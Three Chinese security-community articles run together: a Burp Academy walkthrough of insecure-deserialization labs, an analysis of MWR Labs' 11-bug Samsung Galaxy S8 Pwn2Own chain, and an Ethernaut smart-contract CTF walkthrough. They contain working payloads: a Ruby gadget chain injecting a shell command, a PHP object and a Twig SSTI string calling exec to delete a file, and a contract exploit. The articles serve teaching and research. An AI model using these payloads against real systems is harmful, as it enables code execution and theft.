登录以后，我们看到sitemap中有一个可疑的文件/libs/CustomTemplate.php，但是我们通过repeater无法直接访问，所以我们试着加一个临时文件符(~)看看能不能访问到其副本。
我们看到里面存在两个魔术方法
* __construct($template_file_path)
* __destruct()
通过代码的简单审计发现，在对象销毁时会删除lock _file_path指定的文件路径，所以我们要构造这样的序列化对象_
__
_因为\_
_destruct()会在对象销毁时自动调用，所以我们只需要设置对象的lock_file_path属性值即可。将base64编码后的数据替换到session中即可成功删除指定文件。
### 工具链
前面讲到的都是通过单个魔术方法成功执行制定操作的。但是如果应用程序非常复杂，则需要让用户输入经过一系列的魔术方法调用链条才能利用成功。burp称之为gadget
chains(工具链)。
### 利用预置工具链发动
正常情况下我们想要自己构造工具链是很困难的，因为我们很难访问到全部源码。但是我们可以直接利用前人发现的预置的工具链发动攻击。比如Java的Apache
Commons Collections库中的工具链可以在一个网站上被利用，那么使用该库的任何其他网站也可以使用相同的链来利用。
**ysoserial**
这是一款基于Java的反序列化预置工具链利用工具，你只需要选择你要使用的工具链，然后填写你想要执行的命令，它会自动构造对应的序列化对象。
ysoserial提供的工具链也不全都是可以执行任意代码的，也可能用于其他操作，比如
* URLDNS链就是可以向指定的URL发出DNS请求，通常可以用来检测是否存在反序列化漏洞点。
* JRMPClient链也可以用于检测。它可以用于与指定的IP进行TCP连接。在DNS流量都被限制的情况下可以使用这种检测方法。让它分别尝试与本地地址与防火墙地址连接，如果响应时间存在差异说明存在反序列化漏洞。
下面我们通过一道靶场来深入理解这个工具的使用
**配套靶场：使用Apache Commons链发动Java反序列化**
首先我们利用ysoserial生成payload
从上图是看得出这个工具是非常方便的，然后我们将payload替换到cookie中即可成功发动反序列化攻击
**PHP通用工具链**
这里burp介绍了一款基于PHP的通用工具链利用工具：”PHP Generic Gadget Chains” (PHPGGC)。
**配套靶场：利用预置工具链发动PHP反序列化**
登录用户，然后解码session字段发现是由两部分构成的，一部分是称为token字段的序列化字符串，一部分是称为sig_hmac_sha1的hash值，于是我们尝试故意修改cookie触发报错，这样可能会暴露使用的框架信息
从报错信息中得知使用的是Symfony
4.3.6这一款php框架，然后我们发现burp中的sitemap中有phpinfo页面，发到repeater中发现可以看到文件内容，于是直接在浏览器访问更方便查看，发现其中泄漏了网站的SECRET_KEY
然后我们利用PHPGGC构造对象
然后再用签名函数结合对象和刚才获取的SECRET_KEY生成正确的签名
将对象和签名替换到cookie中，整体做URL编码后重放包，成功发动反序列化攻击
### 使用有记录的工具链
有的工具链虽然没有现成的工具，但是有记录该工具链的构造过程的文章，也是可以用来发动序列化攻击的。当然，也可以将其制作成工具自己使用。
### 配套靶场：使用有记录的工具链发动Ruby反序列化
因为Ruby没有现成的利用工具，所以我们需要在搜索引擎上搜索一下是否有记录的工具链，然后找到这样的脚本
#!/usr/bin/env ruby
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
对于这段代码，我们只需要将id替换成我们想要执行的命令，然后运行这个脚本即可生成payload
然后我们就可以将生成的payload替换到session中发动反序列化攻击从而删除指定文件了。
### 自己构造工具链
当既没有现成的利用工具，也没有查到相关工具链的文章时，就需要自己构造工具链了。这就需要我们获得部分或全部的源码，并对其中的调用关系进行推演，直到构造出可以利用的工具链。值得注意的是，如果是像Java那种二进制序列化数据，想要构造序列化对象就需要使用目标编程语言自行编写生成序列化对象的代码。下面我们通过两道靶场来学习如何自己构造工具链。
### 配套靶场1：构造自定义Java反序列化工具链
首先我们在sitemap中找到了泄漏的一个备份文件
但是并没有发现什么有用的东西，我们看看backup文件夹中还有没有别的东西
发现还有一个文件，我们看看里面都有什么
发现了很多有用的信息，比如使用的是postgre数据库，然后还有sql语句模板。从代码中我们能看出是通过对象中的属性id拼接sql语句的，所以我们需要构造一个id值为sql注入payload的对象，这里burp提供了一个用来生成序列化对象的代码，可以在在线编译网站repl.it中运行。我们只需要在Main.java中替换your-payload-here的值即可，因为我们已经得知是postgre数据库，所以我们直接利用相关payload生成序列化对象
然后将其替换到session中即可发动，可以在报错响应中看到administrator的密码
得到administrator的密码后就能登录它然后删除指定用户了
### 配套靶场2：构造自定义PHP反序列化工具链
同样的，我们通过sitemap还原一下可疑文件
从源码来看，如果我们想构造exec(rm /home/carlos/morale.txt)需要构造一条工具链，下面我们慢慢地来分析，首先我们关注一下这段代码
private function build_product() {
$this->product = new Product($this->default_desc_type, $this->desc);
}
这是CustomTemplate类的build_product()方法，它会new一个Product对象，下面我们再看一下Product类
class Product {
public $desc;
public function __construct($default_desc_type, $desc) {
$this->desc = $desc->$default_desc_type;
}
}
我们看到Product类中有个在实例化会自动调用的魔术方法__construct，在实例化的时候可以指定两个参数：default_desc_type和desc，并且会将default_desc_type传递给desc调用。很明显，default_desc_type值应该是”rm
/home/carlos/morale.txt”，那么desc就得是exec函数，但是我们不能直接将其值设置为”exec”，是没有效果的。我们再来看DefaultMap类
class DefaultMap {
private $callback;
public function __construct($callback) {
$this->callback = $callback;
}
public function __get($name) {
return call_user_func($this->callback, $name);
}
}
里面有两个魔术方法，我们重点关注__get这个魔术方法，它会调用该对象的callback属性值指定的函数，这就是我们想要的，所以desc的值应该是一个含有值为”exec”属性callback的DefaultMap实例化对象。于是我们这样构造序列化payload
`O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm
/home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:4:"exec";}}`
替换到session以后就会触发我们构造的工具链，从而执行删除指定文件的命令了。
### PHAR反序列化
这是一种特定于PHP的反序列化攻击。PHP有一个伪协议phar:\/\/，用于处理PHP存档文件(.phar)。这类文件包含序列化的元数据，所以phar:\/\/在处理这类文件的时候会默认执行反序列化操作，就可能会触发反序列化攻击。我们可以通过各种方式将.phar文件上传到phar:\/\/功能点，如扩展名绕过等。下面我们通过一道靶场来深入理解
### 配套靶场：使用PHAR反序列化利用自定义工具链
登录，发现应用程序通过/cgi-bin/avatar.php?avatar=wiener访问用户的头像
尝试访问这个文件发现提示文件不存在，那我们尝试访问一下上级目录
然后我们访问CustomTemplate.php~和blog.php~
我们发现CustomTemplate.php中file_exists可以用来对phar文件反序列化，所以我们需要将构造好的对象传递给它，然后继续分析发现本质就是传递给template_file_path属性，我们需要在Blog.php构造exec(rm
/home/carlos/morale.txt)，发现使用了twig模板引擎，所以可以发动SSTI，这个后面的专题才会讲到，这里暂时不讲。至此我们可以构造这样的工具链
class CustomTemplate {}
class Blog {}
$object = new CustomTemplate;
$blog = new Blog;
$blog->desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}';
$blog->user = 'user';
$object->template_file_path = $blog;
然后我们将上面payload制作成phar文件，这里可以搜到相关的脚本(如phar jpg
polyglot)，这里可以直接使用burp制作好的，上传成用户的头像，在读取头像接口处使用phar:\/\/伪协议读取该头像即可成功发动序列化攻击，删除指定文件
### 使用内存损坏发动反序列化攻击
这一节burp并未进行详细的讲解，感兴趣的同学可以自行搜索相关的文章，这种攻击方式危害性更大，因为不需要构造工具链并且往往可以远程执行命令。
### 如何缓解不安全的反序列化漏洞？
应该尽量减少序列化与反序列化功能，并且一定要在开始反序列化前就进行审查，因为前面有讲过魔术方法，就是在反序列化过程中发动的，或者可以限制指定的类和属性才能被序列化和反序列化，并且检查序列化数据的完整性。
## 总结
以上就是梨子带你刷burpsuite官方网络安全学院靶场(练兵场)系列之高级漏洞篇 –
不安全的反序列化专题的全部内容啦，本专题主要讲了序列化与反序列化的原理，以及反序列化攻击的形成原理及利用，如何构造工具链，利用不常用的PHAR协议发动反序列化攻击以及反序列化漏洞的防护等，感兴趣的同学可以在评论区进行讨论，嘻嘻嘻。 | 社区文章 |
# 漏洞利用简析——如何用11个exp攻破三星S8
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Author: Sniperhg@Vulpecker Team 、MissCoconut@Vulpecker Team
## 前言
在去年Mobile Pwn2Own上MWR
Labs成功攻破了三星S8，据官方报道整个攻击链总共由11个exp构成，是目前Pwn2Own历史上最长利用链。上周MWR
Labs公开了他们的Slide，在本次攻击中，其高深之处并不在于使用了多少个0day，而是使用的都是系统自带App层面的逻辑漏洞甚至是App特性的一连串的精巧组合而形成的攻击链。本文根据这个slide来对其攻击思路和步骤进行简要分析。
## 初探
纵观整个利用链，攻击者的代码得以成功执行以及敏感信息得以成功获取，其中最关键的漏洞出现在三星手机自带的应用商店Galaxy Apps中。
由于开发者疏忽，release版本的Galaxy Apps中存在如下遗留的调试代码：
这段代码的作用是为了调试Galaxy
Apps与升级服务器之间的连通性而去加载SD卡上的配置文件（/sdcard/saconfig.ini），为方便本地调试，配置文件中可以手动指定升级服务器地址，配置文件格式如下所示：
攻击者通过指定升级服务器地址，再加上中间人转发请求，可以让Galaxy
Apps安装攻击者指定的任意App。一般我们在平时的审计中，可以写一个App去释放这个配置文件或是直接adb
push配置文件到/sdcard中，但在Pwn2Own比赛环境下，是无法连接USB进行adb
install的，有限的物理接触也仅能进行点击浏览器，打开url等操作。那么这里是如何生成或是释放这个关键的saconfig.ini文件的，以及如何通过浏览器发动这个远程攻击的，笔者就来根据slide大胆猜测一下攻击思路，一步步进行逆向探究。
在探究之前我们先要明确一点：起点入口是三星自带的浏览器SBrowser，最终目标是在Galaxy
S8上执行攻击者的代码并窃取隐私文件。我们从整个利用链的最后一环入手来倒序分析，假定此时Galaxy Apps已经等着配置文件来进行下一步攻击了。
### Step 1 如何释放saconfig.ini配置文件？
由于代码中硬编码了配置文件路径（/sdcard/saconfig.ini），我们必须在指定目录下生成配置文件，那么该如何生成到指定目录？通过浏览器强制下载？显然不可，下载的文件位于Download目录内。这里利用了Samsung
Notes中的一处Zip解压缩目录穿越漏洞。Samsung
Notes中存在一处导出组件，可加载memo类型的文件，memo类型文件本质上是个zip压缩包，在Samsung
Notes加载memo文件时会调用一个方法去解压这个memo文件，通过解压恶意构造的memo文件来准确释放文件到/sdcard下：
存在漏洞的组件： **com.samsung.android.app.notes.composer.ConvertToSdocActivity**
这里我们可以猜想memo文件的构成，其中有个文件的路径应该是这样的：”../../../../../../sdcard/saconfig.ini”，组合上面代码会产生路径“/data/data/com.samsung.android.app.notes/cache/unzip_1529565489/../../../../../../sdcard/saconfig.ini”，这样最终的路径就变成“/sdcard/saconfig.ini”了。
### Step 2 如何让Samsung Notes打开memo文件？
如何打开特定App的特定activity？我们知道平时开发过程中直接使用Context.startActivity()即可，但在比赛环境下，并不能这样方便的执行代码，而且Samsumg
Nots中存在问题的组件，并没有响应“android.intent.category.BROWSABLE”action，也无法通过浏览器打开。
所以安全人员这里找了一个跳板——Android Vending，也就是Google
Play应用商店。在这个App中存在一个导出的Activity——LaunchUrlHandlerActivity，可接收外部传入的参数，并打开指定的应用，具体代码如下所示：
并且这个Activity是响应“android.intent.category.BROWSABLE”的，意味着我们能通过浏览器利用其自定义协议进行调用。安全人员随后测试了http协议、file协议以及content协议，发现这里只能使用content协议，随后尝试了Chrome的Content
Provider和系统Media Provider，最终确定了可行的URI：
**market://details?url=content://media/external/file/350
&id=com.samsung.android.app.notes**
这样Android Vending会唤起 **com.samsung.android.app.notes** 并把
**content://media/external/file/{file_id}** 作为data传递给Samsung Notes。
### Step 3 如何确定file_id？
Step 2中，我们看到URI中有一个 **content://media/external/file/{file_id}**
，这个file_id是不确定的数字，代表的是memo文件在系统 Media Provider里对应的ID，至于如何确定，下面是MWR给出的一段JS代码：
这段JS的意思是从id=300开始向下枚举Meida Provider中的文件，如果文件不存在的话就一直递减，直到出现一个存在的文件正确显示在页面上。
如下图示是上一个下载的文件payload.html：
先取得memo文件将占位的ID（这个时候memo文件还没下载呢），然后保证这个时候手机的外部储存里不会多出任何文件，因为任何文件的出现都会让ID变化。如果发现i=100的时候出现了payload.html页面，那么101就是memo文件将会存在的ID值。
### Step 4 这段JS由谁执行？
MWR Labs安全人员指出：
由于三星自带的浏览器不支持content协议，所以这里需要用Chrome来加载payload.html，那么如何唤起Chrome？这里利用Chrome的特性即可：
**googlechrome://navigate?url=content://com.android.chrome.FileProvider/downloads/payload.html**
### Step 5 payload.html从何而来？
三星浏览器SBrowser支持Content-Type: application/force-download;
，通过配置攻击者的Web服务器使其强制下载payload.html：
经过强制下载后，payload.html是保存在/sdcard/Download下的。巧合的是Chrome中的一个Content
Provider指向路径即为/sdcard/Download，所以这里通过传入：googlechrome://navigate?url=content://com.android.chrome.FileProvider/downloads/payload.html即可引导Chrome打开payload.html。
### 小结
到这里暂时休息整理一下，我们从后往前看，就是从浏览器访问一个页面到释放配置文件的过程了。
结合官方给出的图示：
顺序就是：
1. SBrowser访问index.html，index.html页面里也许使用<iframe>嵌入了一个payload.html，这个时候利用force-download特性将payload.html下载到手机里再利用 **googlechrome://navigate?url=content://com.android.chrome.FileProvider/downloads/payload.html** 唤起Chrome并加载payload.html；
2. 在payload.html中我们枚举出memo文件占位ID，接着请求下载了memo文件，再跳转 **market://details?url=content://media/external/file/350 &id=com.samsung.android.app.notes**唤起了Android Vending；
3. Android Vending被唤起后发送Intent继而唤醒Samsung Notes访问memo文件进行解压缩释放了配置文件saconfig.ini。
## 进一步利用
### Step 6 如何突破比赛时间限制？
进行到这里我们已经有了这个配置文件，虽然配置文件能控制Galaxy Apps的行为去劫持下载，但是由于其使用的是Android Job
Scheduler，Scheduler的执行间隔是15分钟，而比赛的规则是每次尝试只有5分钟时间，所以这里碰到了一个限制需要突破：如何让Scheduler快速执行？
由于Galaxy Apps在启动时会去加载这个配置文件，这里想到了让Galaxy Apps重启。由于Galaxy
Apps是系统应用，会在系统启动时自启动，那么这里面临着两个选择，是选择crash掉一个App还是crash system引起手机重启？MWR
Labs选择了后者。
### Step 7 如何重启系统？
在这一步的攻击中，利用了系统进程“com.android.server.telecom”中的组件“com.android.server.telecom.components.UserCallActivity”中存在一处隐藏的空指针异常未捕获的问题：
如果外部直接启动这个Activity不带任何data进来，URI将会为null，null传给getScheme()方法时就会产生空指针异常，系统进程的崩溃意味着系统的崩溃，这个时候手机就会重启，由于Galaxy
Apps会在系统启动时自启动，那么重启手机之后，Galaxy App也会重新启动并加载我们的配置文件。
### Step 8 如何发送特定Intent？
如何能发送这样一个Intent呢，一个只带包名和组件名，不会填充data数据的Intent？这里利用了另外一个跳板——Samsung Members：
Samsung Members中的导出组件LauncherActivity可在浏览器中使用其自定义协议voc://唤起，并且可传入特定的包名和组件名。
### Step 9 如何唤醒Samsung Members？
在这一步中，依旧利用Chrome来进行跳转，“voc://activity/general?packageName=com.android.server.telecom&className=com.android.server.telecom.components.UserCallActivity”，这个URI会被Samsung
Members所接收到。所以Chrome在整个攻击链中要执行2次打开其他应用的任务，一次是为了唤起Android
Vending跳板，另外一次是为了唤醒Samsung
Members跳板。这里我们能注意到被当作跳板的组件的一个共同点：都响应了“android.intent.category.browsable”Action，导致攻击者可以通过浏览器打开进行远程利用，这里对我们来说算是一个小Tips吧，今后的漏洞挖掘工作中，对可通过浏览器打开的组件需要格外关注。
## 后续利用
### Step 10 中间人劫持App更新
Galaxy Apps启动后加载配置文件，这个时候就会去请求这个攻击者的中间地址，攻击者再将所有的请求转发给真正的升级服务器<https://uk-odc.samsungapps.com/>，同时也会将服务器的响应返回给手机。
Galaxy Apps进行更新请求时会与服务器产生三次交互：
1. 客户端发送当前所有的App列表给服务器/服务端做出响应告知客户端所有App的最新版本
2. 客户端如果发现版本比自己高的App则请求这个App的最新信息/服务端返回App的包名版本等信息
3. 客户端请求最新App的下载地址等/服务器返回下载地址以及App大小签名等信息
中间人在这里修改了1次请求和3次返回的包，让Galaxy Apps误以为自己手机上的某个App是旧版本的，然后下载了攻击者执行的App进行了安装。
### Step 11 如何绕过权限申请弹窗？
在Android
6.0及后续版本中，App申请危险权限时，系统会弹出对话框询问用户是否授予其特定权限，这里绕过的方式也很简单，编译apk时将targetSdkVersion设置为18及以下即可。
### Step 12 如何启动恶意App？
根据slide中的描述，MWR的研究人员也以为到这里就够了，恶意App已经成功安装，还有什么不能做的呢？但是ZDI却要求现场就能运行App并进行敏感数据的窃取等操作。所以这里就涉及到一个问题：Android
3.1以后，新安装的App默认都是停止状态的。
接着研究人员发现，三星对Android Contacts Provider进行了重度修改，在一个App的状态发生改变时，会有一个方法去做一次query查询：
所以在恶意App里创建一个provider，meta-data中写上android.content.ContactDirectory属性为true，则可以在安装上之后，执行provider中的query方法。
到此为止，恶意App成功安装并启动。
## 总结
经过对整个攻击链的分析，将这么多“不起眼”的逻辑漏洞（或bug）利用起来，居然能从浏览器到代码执行做远程攻击。在这个攻击链中，总共涉及到了6个App、3个系统组件以及系统的总共11个逻辑漏洞（或bug甚至只是特性），我们再来回顾一下：
组件 | 作用
---|---
三星SBrowser | 支持强制下载，保存了payload.html
Chrome | 支持googlechrome://协议，加载payload.html文件
Android Vending
（Play Store）
| 跳板1，可被浏览器用scheme唤醒并发送Intent
Android Media Provider | 系统特性，通过id能访问到相应的文件
Samsung Notes | 解压缩目录穿越漏洞，为释放配置文件提供了便利
Samsung Members | 跳板2，同样可被浏览器用scheme唤醒并发送Intent
Android Telecom | 空指针异常，可被利用来重启系统
Galaxy Apps | 遗留调试代码，可指定任意服务器调试App的升级更新过程；且存在中间人攻击风险
三星定制Android Contacts Provider | App更新时会去执行query方法导致恶意App自启动
系统特性 | 通过设置targetSdkVersion绕过权限弹框
## 参考链接
1. <https://labs.mwrinfosecurity.com/publications/chainspotting-building-exploit-chains-with-logic-bugs/>
2. <https://www.zerodayinitiative.com/advisories/ZDI-18-562/>
3. <https://www.zerodayinitiative.com/advisories/ZDI-18-561/>
4. <https://www.zerodayinitiative.com/advisories/ZDI-18-560/>
## 关于Vulpecker Team
360威派克团队（Vulpecker Team）隶属于360信息安全部，负责集团内部移动APP和OS类产品安全攻防，
制定了公司内部安卓产品安全开发规范，自主开发并维护了在线安卓应用安全审计系统-360显危镜。同时团队高度活跃在谷歌、三星、华为等各大手机厂商的致谢名单中，截止2018年，累计获得近百个CVE编号和官方致谢，多次在国内外各大安全会议上分享研究成果。 | 社区文章 |
### 前言
Ethernaut是一个类似于CTF的智能合约平台，集成了不少的智能合约相关的安全问题，这对于安全审计人员来说是一个很不错的学习平台，本篇文章将通过该平台来学习智能合约相关的各种安全问题，由于关卡较多，而且涉及合约的分析、攻击流程的演示所以篇幅较长，经过缩减最终定为两篇文章来分享。
平台地址：<https://ethernaut.zeppelin.solutions>
### 环境准备
* Chrome浏览器
* 插件——以太坊轻钱包MetaMask(<https://metamask.io/>)
* 在MetaMask中调整网络为测试网络，之后给自己的钱包地址充值ETH。
### 前置知识
**浏览器控制台**
在整个Ethernaut平台的练习中我们需要通过Chrome浏览器的控制台来输入一系列的命令实现与合约的交互，在这里我们可以直接在Chrome浏览器中按下F12，之后选择Console模块打开浏览器控制台，并查看相关信息：
具体的交互视情况而定，例如：
当控制台中输入"player"时就看到玩家的地址信息（此时需实现Ethernaut与MetaMask的互动）：
当输入getBlance(player)当前玩家的eth余额
如果要查看控制台中的其他实用功能可以输入"help"进行查看~
**以太坊合约**
在控制台中输入"Ethernaut"即可查看当前以太坊合约所有可用函数：
通过加"."可以实现对各个函数的引用(这里也可以把ethernaut当作一个对象实例)：
**获取关卡示例**
我们可以通过点击“Get new instance”来获取关卡示例：
### 过关斩将
#### Hello Ethernaut
Hello Ethernaut这一关的目的是让玩家熟悉靶场操作(控制台的交互、MetaMask的交互等)，因此依次按照提示一步一步做就可以完成了~
首先点击"Get new instance"来获取关卡示例：
之后交易确认后返回一个交互合约地址：
之后在控制台中根据提示输入以下指令：
await contract.info()
"You will find what you need in info1()."
await contract.info1()
"Try info2(), but with "hello" as a parameter."
await contract.info2("hello")
"The property infoNum holds the number of the next info method to call."
await contract.infoNum()
42
await contract.info42()
"theMethodName is the name of the next method."
await contract.theMethodName()
"The method name is method7123949."
await contract.method7123949()
"If you know the password, submit it to authenticate()."
await contract.password()
"ethernaut0"
await contract.authenticate("ethernaut0")
之后等合约交互完成后直接点击"submit instance"提交答案，并获取当前关卡的源代码：
之后等交易完成后给出完成关卡的提示：
并在下方给出源代码：
pragma solidity ^0.4.18;
contract Instance {
string public password;
uint8 public infoNum = 42;
string public theMethodName = 'The method name is method7123949.';
bool private cleared = false;
// constructor
function Instance(string _password) public {
password = _password;
}
function info() public pure returns (string) {
return 'You will find what you need in info1().';
}
function info1() public pure returns (string) {
return 'Try info2(), but with "hello" as a parameter.';
}
function info2(string param) public pure returns (string) {
if(keccak256(param) == keccak256('hello')) {
return 'The property infoNum holds the number of the next info method to call.';
}
return 'Wrong parameter.';
}
function info42() public pure returns (string) {
return 'theMethodName is the name of the next method.';
}
function method7123949() public pure returns (string) {
return 'If you know the password, submit it to authenticate().';
}
function authenticate(string passkey) public {
if(keccak256(passkey) == keccak256(password)) {
cleared = true;
}
}
function getCleared() public view returns (bool) {
return cleared;
}
}
从源代码中可以看到该关卡其实是一系列的函数调用与传参操作，其实该关卡就是让玩家熟悉控制台和MetaMask的使用以及配合交互操作！
#### Fallback
##### 闯关要求
* 成为合约的owner
* 将余额减少为0
##### 合约代码
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
//合约Fallback继承自Ownable
contract Fallback is Ownable {
using SafeMath for uint256;
mapping(address => uint) public contributions;
//通过构造函数初始化贡献者的值为1000ETH
function Fallback() public {
contributions[msg.sender] = 1000 * (1 ether);
}
// 将合约所属者移交给贡献最高的人，这也意味着你必须要贡献1000ETH以上才有可能成为合约的owner
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] = contributions[msg.sender].add(msg.value);
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
//获取请求者的贡献值
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
//取款函数，且使用onlyOwner修饰，只能被合约的owner调用
function withdraw() public onlyOwner {
owner.transfer(this.balance);
}
//fallback函数，用于接收用户向合约发送的代币
function() payable public {
require(msg.value > 0 && contributions[msg.sender] > 0);// 判断了一下转入的钱和贡献者在合约中贡献的钱是否大于0
owner = msg.sender;
}
}
##### 合约分析
通过源代码我们可以了解到要想改变合约的owner可以通过两种方法实现：
1、贡献1000ETH成为合约的owner(虽然在测试网络中我们可以不断的申请测试eth，但由于每次贡献数量需要小于0.001，完成需要1000/0.001次，这显然很不现实~)
2、通过调用回退函数fallback()来实现
显然我们这里需要通过第二种方法来获取合约的owner，而触发fallback()函数也有下面两种方式：
* 没有其他函数与给定函数标识符匹配
* 合约接收没有数据的纯ether(例如：转账函数))
因此我们可以调用转账函数"await
contract.sendTransaction({value:1})"或者使用matemask的转账功能(注意转账地址是合约地址也就是说instance的地址)来触发fallback()函数。
那么分析到这里我们从理论上就可以获取合约的owner了，那么我们如何转走合约中的eth呢？很明显，答案就是——调用withdraw()函数来实现。
##### 攻击流程
contract.contribute({value: 1}) //首先使贡献值大于0
contract.sendTransaction({value: 1}) //触发fallback函数
contract.withdraw() //将合约的balance清零
首先点击"Get new instance"来获取一个实例：
之后开始交互，首先查看合约地址的资产总量，并向其转1wei
等交易完成后再次获取balance发现成功改变：
通过调用sendTransaction函数来触发fallback函数并获取合约的owner：
之后等交易完成后再次查看合约的owner，发现成功变为我们自己的地址：
之后调用withdraw来转走合约的所有代币
之后点击"submit instance"即可完成闯关：
#### Fallout
##### 闯关要求
获取合约的owner权限
##### 合约代码
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Fallout is Ownable {
using SafeMath for uint256;
mapping (address => uint) allocations;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(this.balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
##### 合约分析
该关卡的要求是获取合约的owner，我们从上面的代码中可以看到没有类似于上一关的回退函数也没有相关的owner转换函数，但是我们在这里却发现一个致命的错误————构造函数名称与合约名称不一致使其成为一个public类型的函数，即任何人都可以调用，同时在构造函数中指定了函数调用者直接为合约的owner，所以我们可以直接调用构造函数Fal1out来获取合约的ower权限。
##### 攻击流程
直接调用构造函数Fal1out来获取合约的ower权限即可。
点击“Get new instance”来获取示例：
之后查看当前合约的owner，并调用构造函数来更换owner：
等交易完成后，再次查看合约的owner发现已经发生变化了：
之后点击“submit instance”来提交答案即可：
#### Coin Flip
##### 闯关要求
这是一个掷硬币游戏，你需要通过猜测掷硬币的结果来建立你的连胜记录。要完成这个等级，你需要使用你的通灵能力来连续10次猜测正确的结果。
##### 合约代码
pragma solidity ^0.4.18;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlip() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
##### 合约分析
在合约的开头先定义了三个uint256类型的数据——consecutiveWins、lastHash、FACTOR，其中FACTOR被赋予了一个很大的数值，之后查看了一下发现是2^255。
之后定义的CoinFlip为构造函数，在构造函数中将我们的猜对次数初始化为0。
之后的flip函数先定义了一个blockValue，值是前一个区块的hash值转换为uint256类型，block.number为当前的区块数，之后检查lasthash是否等于blockValue，相等则revert，回滚到调用前状态。之后便给lasthash赋值为blockValue，所以lasthash代表的就是上一个区块的hash值。
之后就是产生coinflip，它就是拿来判断硬币翻转的结果的，它是拿blockValue/FACTR，前面也提到FACTOR实际是等于2^255，若换成256的二进制就是最左位是0，右边全是1，而我们的blockValue则是256位的，因为solidity里“/”运算会取整，所以coinflip的值其实就取决于blockValue最高位的值是1还是0，换句话说就是跟它的最高位相等，下面的代码就是简单的判断了。
通过对以上代码的分析我们可以看到硬币翻转的结果其实完全取决于前一个块的hash值，看起来这似乎是随机的，它也确实是随机的，然而事实上它也是可预测的，因为一个区块当然并不只有一个交易，所以我们完全可以先运行一次这个算法，看当前块下得到的coinflip是1还是0然后选择对应的guess，这样就相当于提前看了结果。因为块之间的间隔也只有10s左右，要手工在命令行下完成合约分析中操作还是有点困难，所以我们需要在链上另外部署一个合约来完成这个操作，在部署时可以直接使用<http://remix.ethereum.org来部署>
Exploit：
pragma solidity ^0.4.18;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlip() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number-1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue/FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
contract exploit {
CoinFlip expFlip;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function exploit(address aimAddr) {
expFlip = CoinFlip(aimAddr);
}
function hack() public {
uint256 blockValue = uint256(block.blockhash(block.number-1));
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
bool guess = coinFlip == 1 ? true : false;
expFlip.flip(guess);
}
}
##### 攻击流程
点击“Get new Instance”获取一个实例：
之后获取合约的地址以及"consecutiveWins"的值：
之后在remix中编译合约
之后在remix中部署“exploit”合约，这里需要使用上面获取到的合约地址：
之后合约成功部署：
之后点击"hack"实施攻击（至少需要调用10次）：
之后再次查看“consecutiveWins”的值，直到大于10时提交即可：
之后点击“submit instance”提交示例：
之后成功闯关：
#### Telephone
##### 闯关要求
* 获取合约的owner权限
##### 合约代码
pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
##### 合约分析
前面是个构造函数，把owner赋给了合约的创建者，照例看了一下这是不是真的构造函数，确定没有问题，下面一个changeOwner函数则检查tx.origin和msg.sender是否相等，如果不一样就把owner更新为传入的owner。
